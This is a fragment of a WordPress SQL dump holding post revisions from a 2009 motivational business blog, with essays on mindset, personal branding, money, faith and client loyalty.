achieve it, or have any physical evidence proving it is possible.\r\n\r\nBelieve and trust in the unseen forces that govern how stuff comes out of the goo to become the physicality of your current circumstances. As a creative entrepreneur, your business and life success depends on your mastery of this fundamental skill in everything you put your mind to.\r\n\r\n<strong>Are you satisfied with your current results? </strong>\r\n\r\n<strong>What are you thinking about? </strong>\r\n\r\n<strong>Go ahead, give it some thought!\r\n</strong>', 'As you think, so it is.', 0, '', 'inherit', 'open', 'open', '', '563-revision-3', '', '', '2009-08-03 14:54:15', '2009-08-03 21:54:15', '', 563, 'http://www.whitehotcenter.com/2009/08/03/563-revision-3/', 0, 'revision', '', 0),
(568, 2, '2009-08-03 15:01:45', '2009-08-03 22:01:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif"><img class="alignnone size-full wp-image-562" title="themind" src="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif" alt="themind" width="450" height="263" /></a>\r\n<h2><span style="color: #ff6600;">As a creative entrepreneur, you’re in the business of ideas. You love thinking of creative ideas that will serve your clients/customers, and bring more value to them. Consequently, you probably spend a lot of time thinking. So, let me ask you to step back from your busy day for a moment and honestly answer this question for yourself:</span></h2>\r\n<h2><span style="color: #ff6600;">What are you always thinking about?</span></h2>\r\nNow look around you and carefully observe the current results in your business, and in your whole life. Whatever results you see around you, right now – in the form of your current circumstances –is what you have been thinking about. Your current circumstances (results) are the prophecy of your past thinking fulfilled.  Your results can be no greater, or less, than the source thinking behind them. If you want to change anything in your current physical reality, you must first change the seed of that reality–your thinking.\r\n\r\n<span style="color: #333333;"><strong>If you want to operate your business at the highest levels doing work that really matters to you and serves the world, plus be highly paid for it– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want to be associated with the best and the brightest people– you must elevate your thoughts...</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want to create a profitable and growing business supported by clients who love and appreciate you and your work– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want relationships with clients, colleagues, partners, employees that are joyous, exciting, and fulfilling– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want to experience your professional and personal life filled with endless opportunity and possibilities for continuous growth and success – you must elevate your thoughts.</strong></span>\r\n\r\n<strong>The Science of Mind and Matter</strong>\r\n\r\nProper thinking is a more powerful and important idea for your growth and success than the warmed-over, self-help “law of attraction” cliché it may appear to sound like on the surface.  Actually it’s more than an idea–it’s called the Law of Cause and Effect.  In our physical world, all effects in the physical have their causes in the formless. Like gravity, this law is always “on”.  Science is much closer to understanding the exact composite nature of the structures and forces involved in how mind and matter co-mingle to create “reality”.  As you think, so it is. Quantum science proclaims the fundamental basis of all matter is nothing more than vibrating energy. Thoughts are energy. Your creative ideas are bundles of formless thought energy vibrating in an infinite sea of potential and possibility. I like to call this unseen substance that surrounds our existence “the goo”.  As you place your thoughts, wittingly or unwittingly, into the goo, they form themselves into their physical counterparts known as your results.\r\n\r\nIt’s amazing how few creative business people are consciously aware of this truth, and its powerful impact (for the good or ill) on their business development and life success. In other words, it’s not the economy you find yourself in at the moment that determines your potential for success. Your business is a reflection of you– success or failure determined by your prevailing mental state.\r\n\r\nIt’s not simply who you know, social status, education, talent, skill, capability or a robust economy that determines success. People with the most unfavorable circumstances, with past failures of the most unbelievable nature, have come back to create massive success simply through the power to use their disciplined mind to think in a certain way.  On the other hand, there are those with unbelievable advantage and resources who never seem to succeed at anything they attempt.\r\n\r\nAuthor and Philosopher Raymond Holliwell, in his 1960s classic book <em>“Working with the Law”</em> phrases it more beautifully in poetic language:\r\n<h2><span style="color: #ff6600;">“It is evident, therefore, that of all the factors which regulate the life and experience of man, none perhaps exercise greater influence than the ruling state of mind”.</span></h2>\r\n<strong>There is nothing outside of you that controls what you think about.</strong>\r\n\r\nYou have the power to choose what you think! You decide your thoughts in each conscious moment. Your magnificent mind is an instant reality-creating machine! You create the reality you perceive through your prevailing state of mind. If you are often fearful and thinking about what is presently lacking or limited in you, you will experience exactly what you fear. On the other hand, if your prevailing state of mind is focused on the potential and opportunity that is always available for you now, despite whatever circumstances you currently “see” around you, you will in time, experience the wicked-fun reality that is congruent to your higher source thinking.\r\n\r\nIt’s essential to be aware of what dominates your state of mind, and develop the discipline to master your own consciousness.  Make a daily habit of thinking more about what you truly love and aspire to, and less about what keeps you safe and secure.  Through the complexities and day-to-day urgencies of running your life, hold your vision for a bigger, better future in the center of your conscious mind and believe what you desire is already ‘in the making”, even though you may currently have no idea how you will achieve it, or have any physical evidence proving it is possible.\r\n\r\nBelieve and trust in the unseen forces that govern how stuff comes out of the goo to become the physicality of your current circumstances. As a creative entrepreneur, your business and life success depends on your mastery of this fundamental skill in everything you put your mind to.\r\n\r\n<strong>Are you satisfied with your current results? </strong>\r\n\r\n<strong>What are you thinking about? </strong>\r\n\r\n<strong>Go ahead, give it some thought!\r\n</strong>', 'As you think, so it is.', 0, '', 'inherit', 'open', 'open', '', '563-revision-4', '', '', '2009-08-03 15:01:45', '2009-08-03 22:01:45', '', 563, 'http://www.whitehotcenter.com/2009/08/03/563-revision-4/', 0, 'revision', '', 0),
(569, 2, '2009-07-08 17:33:45', '2009-07-09 00:33:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2><span style="color: #ff6600;">With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</span></h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2><span style="color: #ff6600;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</span></h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-7', '', '', '2009-07-08 17:33:45', '2009-07-09 00:33:45', '', 14, 'http://www.whitehotcenter.com/2009/07/08/14-revision-7/', 0, 'revision', '', 0),
(570, 2, '2009-07-08 16:24:19', '2009-07-08 23:24:19', '<h2><span style="color: #ff6600;">Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.</span></h2>\r\nAfter many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n<h2><span style="color: #ff6600;">Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!</span></h2>\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.\r\n<h2><span style="color: #ff6600;">It is important to love people, use money… and not get that in reverse.</span></h2>\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the internet is bloated with self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.\r\n\r\nEverybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.\r\n<h2><span style="color: #ff6600;">Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?</span></h2>\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind.\r\n<h2><span style="color: #ff6600;">Your experience of poverty or abundance is a result of your thought.</span></h2>\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought.\r\n\r\n<strong>I would like to suggest that if you desire more money:</strong>\r\n<ul>\r\n	<li><strong>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</strong></li>\r\n	<li><strong>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</strong></li>\r\n	<li><strong>be in love with your worthy ideal, hold the image of it in your creative imagination.</strong></li>\r\n	<li><strong>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</strong></li>\r\n	<li><strong>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</strong></li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet.\r\n<h2><span style="color: #ff6600;">Exact laws of creation govern the universe–and so it is with the creation of money.</span></h2>\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\n<strong>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</strong>', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'inherit', 'open', 'open', '', '24-revision-6', '', '', '2009-07-08 16:24:19', '2009-07-08 23:24:19', '', 24, 'http://www.whitehotcenter.com/2009/07/08/24-revision-6/', 0, 'revision', '', 0),
(571, 2, '2009-07-08 20:43:44', '2009-07-09 03:43:44', '<h2><span style="color: #ff6600;">Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, who never failed to make it rain when they would do their rain dance.  Every time, 100%, when they danced, it rained.  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple:  this particular tribe never stopped dancing.</span></h2>\r\nThink about that…they never stopped dancing until it rained! That is faith in it''s most compelling form... Faith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced! Faith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. Governed, of course, by the Law of Gestation.\r\n\r\nThis Law states that everything in nature has a gestation or incubation period.  You commonly know this principal from the human pregnancy which has a gestation period of 280 days. This is the known period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.  Ideas and dreams are also governed by the law of Gestation.  Just like the law of gravity, the Law of Gestation is always “on”, so it is critically important to gain greater awareness and understanding of how it works.\r\n<h2><span style="color: #ff6600;">Unlike elephants or humans, ideas take their own sweet time to be born into the physical realm. Many people quit dancing for the fulfillment of their ideas before it is time, their faith and expectation of receiving it expired.\r\n</span></h2>\r\nThey give up too early and are not aware that the time necessary for manifestation simply hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, doubt sets in and we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the Law of Gestation on an big idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they give up… and “guarantee” a result– it’s just not the one they wanted, but it is the one they created. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience... let it pour!\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith, the law of gestation and belief will work for you in creating what you want in life. Results are guaranteed.  The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, but the rains always, eventually come.\r\n\r\n<strong>What are you dancing for and what does your rain look like? </strong>\r\n\r\n<strong> Enjoy the dance!</strong>', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-5', '', '', '2009-07-08 20:43:44', '2009-07-09 03:43:44', '', 29, 'http://www.whitehotcenter.com/2009/07/08/29-revision-5/', 0, 'revision', '', 0);
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(572, 2, '2009-07-08 15:34:56', '2009-07-08 22:34:56', '<img title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />\r\n<h2><span style="color: #ff6600;">In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</span></h2>\r\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\r\n\r\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals.\r\n<h2><span style="color: #ff6600;">Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.</span></h2>\r\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\r\n\r\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\r\n\r\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\r\n', 'inherit', 'open', 'open', '', '19-revision-6', '', '', '2009-07-08 15:34:56', '2009-07-08 22:34:56', '', 19, 'http://www.whitehotcenter.com/2009/07/08/19-revision-6/', 0, 'revision', '', 0),
(573, 2, '2009-07-08 15:28:16', '2009-07-08 22:28:16', '<img class="alignnone size-full wp-image-117" title="goodvsgreat" src="http://whc.fbdev.org/wp-content/uploads/2008/10/goodvsgreat.jpg" alt="goodvsgreat" width="400" height="432" />\r\n\r\nI wanted to share a post from <a title="website" href="http://www.boxofcrayons.biz" target="_blank">\r\nMichael Bungay Stanier, CEO of Box of Crayons</a>\r\n\r\nIt''s a very useful insight  on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not. Check it out <a title="blog" href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank">here.\r\n</a>\r\n<h2><span style="color: #ff6600;">The illustration above is current snap-shot as to where my scene is.  Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It''s about a 3:1 ratio... I want 1:1 as best as possible... </span></h2>\r\nIt is a great reminder that where I ''m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people''s lives... that''s my great work. What''s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\r\n', 'inherit', 'open', 'open', '', '18-revision-4', '', '', '2009-07-08 15:28:16', '2009-07-08 22:28:16', '', 18, 'http://www.whitehotcenter.com/2009/07/08/18-revision-4/', 0, 'revision', '', 0),
(574, 2, '2009-08-03 15:26:50', '2009-08-03 22:26:50', '<img class="alignnone size-full wp-image-117" title="goodvsgreat" src="http://whc.fbdev.org/wp-content/uploads/2008/10/goodvsgreat.jpg" alt="goodvsgreat" width="400" height="432" />\r\n\r\nI wanted to share a post from <a title="website" href="http://www.boxofcrayons.biz" target="_blank">\r\nMichael Bungay Stanier, CEO of Box of Crayons</a>\r\n\r\nIt''s a very useful insight  on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not. Check it out <a title="blog" href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank">here.\r\n</a>\r\n<h2><span style="color: #ff6600;">The illustration above is current snap-shot as to where my scene is.  Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It''s about a 3:1 ratio... I want 1:1 as best as possible... </span></h2>\r\nIt is a great reminder that where I ''m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people''s lives... that''s my great work. What''s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\r\n', 'inherit', 'open', 'open', '', '18-revision-5', '', '', '2009-08-03 15:26:50', '2009-08-03 22:26:50', '', 18, 'http://www.whitehotcenter.com/2009/08/03/18-revision-5/', 0, 'revision', '', 0),
(576, 2, '2009-07-08 15:17:49', '2009-07-08 22:17:49', '<img class="alignnone size-full wp-image-104" title="fishdontknow" src="http://whc.fbdev.org/wp-content/uploads/2009/02/fishdontknow.jpg" alt="fishdontknow" width="320" height="348" />\r\n<h2><span style="color: #ff6600;">I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet.\r\nThat gave me an idea…</span></h2>\r\nMuch like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.\r\n\r\nWe swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.\r\n\r\nYou can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\r\n', 'inherit', 'open', 'open', '', '13-revision-6', '', '', '2009-07-08 15:17:49', '2009-07-08 22:17:49', '', 13, 'http://www.whitehotcenter.com/2009/07/08/13-revision-6/', 0, 'revision', '', 0),
(577, 2, '2009-08-09 12:41:09', '2009-08-09 19:41:09', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif"><img class="alignnone size-full wp-image-578" title="loyalty" src="http://whc.fbdev.org/wp-content/uploads/2009/08/loyalty.gif" alt="loyalty" width="450" height="329" /></a><span style="color: #ff6600;">The best way to competition-proof your creative business is to create loyal clients. Loyal clients are the ones who believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else.  The marketplace will reward those who earn and deserve, never because they desire or need.  Do you <em>deserve</em> your client’s loyalty?</span></h2>\r\nThe word “deserve” comes from the latin “de serve” which simply means <em>to serve</em>. You only deserve any result you desire from your client when you are serving them with commitment to <em>create more value for them</em> then you are receiving <em>in cash from them</em>. Think about this.  This is an important principle in creating raving loyal clients. This does not mean that you work for less money. On the contrary, it means that whatever the amount of money you are paid, you always provide more “use value” than the cash value received.\r\n\r\nIf you’re in a creative business selling your talent, knowledge, and expertise you might ask yourself, do I deserve the fees I charge? Am I fee-worthy?  Do my clients perceive my value to them as greater than the money they are paying me?  Providing deliverables aligned to your client’s expectation is not enough to deserve their on-going loyalty. All your competitors can provide acceptable deliverables.  Doing what is expected is not enough to differentiate you from the other alternatives available to your client. You can provide more. Here are several suggested ideas for you to think about:\r\n\r\n<strong>Loyalty in client relationships is never static.</strong>\r\n\r\nThink of creating loyalty the same way you would think of physical exercise.  The more your focus is on finding ways to serve your clients the stronger the relationship will be. It’s an on-going process. Nothing strengthens without effort. Stop exercising and things eventually will begin to go downhill fast. Everyone has heard the expression “familiarity breeds contempt”.  This basically means the longer a relationship exists, the more things begin to be taken for granted. The more a client feels you are in “relationship entitlement mode”, the more open to options they will become.  Let that not be you!\r\n\r\n<strong>It’s all about them–never you.</strong>\r\n\r\nIt’s easy to get caught up in the method, details and minutia of doing the work you’re hired to do. It’s even easier to let your thinking go somewhere in the direction of “they can’t get this kind of quality, price or  delivery from anyone else. We’re doing a big favor working for them”.  Obviously that kind of shortsightedness will never create a loyal client who will sing your praises to others.  To deserve loyal clients, your focus will always be on your client’s desire, never yours.  If you take care of creating value for your clients, your value to them increases accordingly. Do the unexpected, go the extra mile!  Do this with grace and humility. You’re in business to create success for others first. Everything after that will take care of itself.\r\n\r\n<strong>Be trustworthy.</strong>\r\n\r\nThis may sound like an over simplification, however when a client shares something of a personal nature with you, they are essentially saying “I trust you”.  In order for trust to be deserved, demonstrate your sensitivity to “moments of truth” when your client shares something of personal importance. Your best client relationships, the ones that are of greatest value to the growth of your business, are the ones where you are trusted.  Respond with your thoughtful consideration and respect. Over time, you are building your relationship chemistry– the core elements that comprise the essence of how valuable you are to them, and their loyalty to you. It begins with trust.\r\n\r\n<strong>Be everything to a few people.</strong>\r\n\r\nNot all your clients will be of the kind where loyalty can grow. Some client relationships are transactional. You really can’t be all things to all clients, it’s absurd to even try. Be selective by cultivating deeper relationships with those clients who empower you, respect your contributions, and refer you to others in their circle of influence.\r\n\r\nTake some time to think about the factors that have comprised your most successful client relationships. When you have defined those attributes, look into your current list of clients. How many are fulfilling that criteria right now?  If there are clients who are no longer a good fit, respectfully disassociate from them. Establish the “rules of engagement” for your new clients early in the game. This creates immediate respect not only from clients, but for yourself. After all, if you don’t demonstrate a respectful value for yourself, why should anyone else?\r\n\r\n<strong>Scarcity creates abundance. </strong>\r\n\r\nAs you continually evolve and grow in your business, you will no doubt be reminded of one of the fundamental principles in economics–supply and demand.  The supply is your “availability”. Clients  provide the “demand” by requesting your expertise. Your supply of time is finite. Excess demand creates competition among your clients for your time. By limiting your availability (supply) you are in effect creating more demand for your time and perceived value.  In doing this, you differentiate between clients who deserve more of your time and the ones who want it. People typically want more of what they can’t have.  Say no to those clients who demand more of your time than they contribute to your growth. By employing the scarcity principle you create more supply and increase demand from more empowering and deserving clients.\r\n\r\nAs you can see there is great deal of difference between deserving success and desiring it. You can only get your business to the next level when you develop the conscious mental habits that vibrate to the universe that you are enlightened and ready to receive the loyal clients you inherently deserve. You can take the first step.\r\n\r\n<strong>What are you doing right now that is creating the loyal clients you deserve? </strong>\r\n\r\nPlease share your thoughts in the comments box below.', 'Do you deserve your client''s loyalty?', 0, '', 'publish', 'open', 'open', '', 'do-you-deserve-your-clients-loyalty', '', '', '2010-07-15 08:16:39', '2010-07-15 15:16:39', '', 0, 'http://www.whitehotcenter.com/?p=577', 0, 'post', '', 3),
(578, 2, '2009-08-09 12:32:54', '2009-08-09 19:32:54', '', 'loyalty', 0, '', 'inherit', 'open', 'open', '', 'loyalty', '', '', '2009-08-09 12:32:54', '2009-08-09 19:32:54', '', 577, 'http://www.whitehotcenter.com/wp-content/uploads/2009/08/loyalty.gif', 0, 'attachment', 'image/gif', 0),
